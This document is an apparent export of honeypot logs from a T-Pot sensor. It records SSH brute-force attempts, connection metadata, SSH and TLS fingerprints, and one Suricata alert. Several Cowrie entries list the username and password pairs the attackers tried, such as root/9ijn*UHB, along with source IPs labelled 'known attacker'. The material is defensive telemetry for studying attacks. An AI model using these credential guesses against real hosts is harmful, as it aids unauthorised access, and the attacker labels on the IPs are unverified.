36341	176.122.188.154	109.199.241.180	Suricata	2021-09-20 15:13:52.108862+03	2021-09-20 15:15:04.455689+03	{"_id": "8AYgA3wBvYTbRNuEfGFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 2125360187559454, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41070, "dest_port": 22, "timestamp": "2021-09-20T12:13:52.108862Z", "@timestamp": "2021-09-20T12:13:52.108Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
36342	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:13:52.87949+03	2021-09-20 15:15:04.456689+03	{"_id": "8QYgA3wBvYTbRNuEf2Eh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [um/12345] failed", "session": "0dcd16356392", "@version": "1", "password": "12345", "username": "um", "timestamp": "2021-09-20T12:13:52.879490Z", "@timestamp": "2021-09-20T12:13:52.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
36345	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:13:54.743916+03	2021-09-20 15:15:04.46169+03	{"_id": "9gYgA3wBvYTbRNuEhGEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1107940417375081, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61082, "dest_port": 22, "timestamp": "2021-09-20T12:13:54.743916Z", "@timestamp": "2021-09-20T12:13:54.743Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36346	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:54.687591+03	2021-09-20 15:15:04.462689+03	{"_id": "_QYgA3wBvYTbRNuEhWFj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.219", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61082, "timestamp": "2021-09-20T12:13:54.687591", "@timestamp": "2021-09-20T12:13:54.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36347	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:13:54.949861+03	2021-09-20 15:15:04.464691+03	{"_id": "_gYgA3wBvYTbRNuEhmHy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "a67675d21ed4", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:13:54.949861Z", "@timestamp": "2021-09-20T12:13:54.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
36348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:57.001406+03	2021-09-20 15:15:04.46569+03	{"_id": "AwYgA3wBvYTbRNuEjGLq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2325, "timestamp": "2021-09-20T12:13:57.001406", "@timestamp": "2021-09-20T12:13:57.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36349	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:56.997154+03	2021-09-20 15:15:04.466691+03	{"_id": "CgYgA3wBvYTbRNuEjmLE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2325 (192.168.176.2:22) [session: 71ced93a445f]", "session": "71ced93a445f", "@version": "1", "protocol": "ssh", "src_port": 2325, "dest_port": 22, "timestamp": "2021-09-20T12:13:56.997154Z", "@timestamp": "2021-09-20T12:13:56.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36350	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:13:59.034057+03	2021-09-20 15:15:04.46769+03	{"_id": "FgYgA3wBvYTbRNuElmKW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:60106 (192.168.176.2:22) [session: c317bc1dbb61]", "session": "c317bc1dbb61", "@version": "1", "protocol": "ssh", "src_port": 60106, "dest_port": 22, "timestamp": "2021-09-20T12:13:59.034057Z", "@timestamp": "2021-09-20T12:13:59.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
36351	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:13:59.037093+03	2021-09-20 15:15:04.469689+03	{"_id": "FQYgA3wBvYTbRNuElmKW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c317bc1dbb61", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:13:59.037093Z", "@timestamp": "2021-09-20T12:13:59.037Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
36352	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:13:59.217118+03	2021-09-20 15:15:04.470689+03	{"_id": "GQYgA3wBvYTbRNuEl2Kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 714807028677149, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60106, "dest_port": 22, "timestamp": "2021-09-20T12:13:59.217118Z", "@timestamp": "2021-09-20T12:13:59.217Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
36353	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:14:00.04346+03	2021-09-20 15:15:04.47169+03	{"_id": "HQYgA3wBvYTbRNuEmmJ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [buero/buero] failed", "session": "c317bc1dbb61", "@version": "1", "password": "buero", "username": "buero", "timestamp": "2021-09-20T12:14:00.043460Z", "@timestamp": "2021-09-20T12:14:00.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
36354	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:14:01.460405+03	2021-09-20 15:15:04.47269+03	{"_id": "JQYgA3wBvYTbRNuEnmJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [house/house] failed", "session": "013ebd7fb3a7", "@version": "1", "password": "house", "username": "house", "timestamp": "2021-09-20T12:14:01.460405Z", "@timestamp": "2021-09-20T12:14:01.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BY
36355	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:14:01.097941+03	2021-09-20 15:15:04.473689+03	{"_id": "IwYgA3wBvYTbRNuEnmJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:36262 (192.168.176.2:22) [session: 013ebd7fb3a7]", "session": "013ebd7fb3a7", "@version": "1", "protocol": "ssh", "src_port": 36262, "dest_port": 22, "timestamp": "2021-09-20T12:14:01.097941Z", "@timestamp": "2021-09-20T12:14:01.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BY
36356	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:14:01.229902+03	2021-09-20 15:15:04.475691+03	{"_id": "JwYgA3wBvYTbRNuEnmJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c317bc1dbb61", "@version": "1", "duration": 2.193112850189209, "timestamp": "2021-09-20T12:14:01.229902Z", "@timestamp": "2021-09-20T12:14:01.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
36357	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:14:01.1485+03	2021-09-20 15:15:04.476691+03	{"_id": "KQYgA3wBvYTbRNuEn2J-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1840324683611349, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36262, "dest_port": 22, "timestamp": "2021-09-20T12:14:01.148500Z", "@timestamp": "2021-09-20T12:14:01.148Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BY
36358	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:13:47.106826+03	2021-09-20 15:15:04.478689+03	{"_id": "yAYgA3wBvYTbRNuEaGHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:45.590618+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1584915862323994, "payload": "AAADVAUUl6Nj2mFzS0fx0yPZvVxn7QAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABNqhTlvQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49675, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:47.106826Z", "@timestamp": "2021-09-20T12:13:47.106Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T....c.asKG..#..\\\\g.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............M...."}}	1	\N	\N	alert	known attacker	CN
36359	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:13:47.434661+03	2021-09-20 15:15:04.47969+03	{"_id": "zQYgA3wBvYTbRNuEaWG9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36244, "timestamp": "2021-09-20T12:13:47.434661", "@timestamp": "2021-09-20T12:13:47.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36360	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:13:50.004443+03	2021-09-20 15:15:04.48069+03	{"_id": "2gYgA3wBvYTbRNuEcWHY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 58911, "dest_port": 3389, "timestamp": "2021-09-20T12:13:50.004443", "@timestamp": "2021-09-20T12:13:50.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
36361	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:49.761555+03	2021-09-20 15:15:04.48269+03	{"_id": "3AYgA3wBvYTbRNuEc2Fn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/9ijn*UHB] failed", "session": "441fd9c8d8e4", "@version": "1", "password": "9ijn*UHB", "username": "root", "timestamp": "2021-09-20T12:13:49.761555Z", "@timestamp": "2021-09-20T12:13:49.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
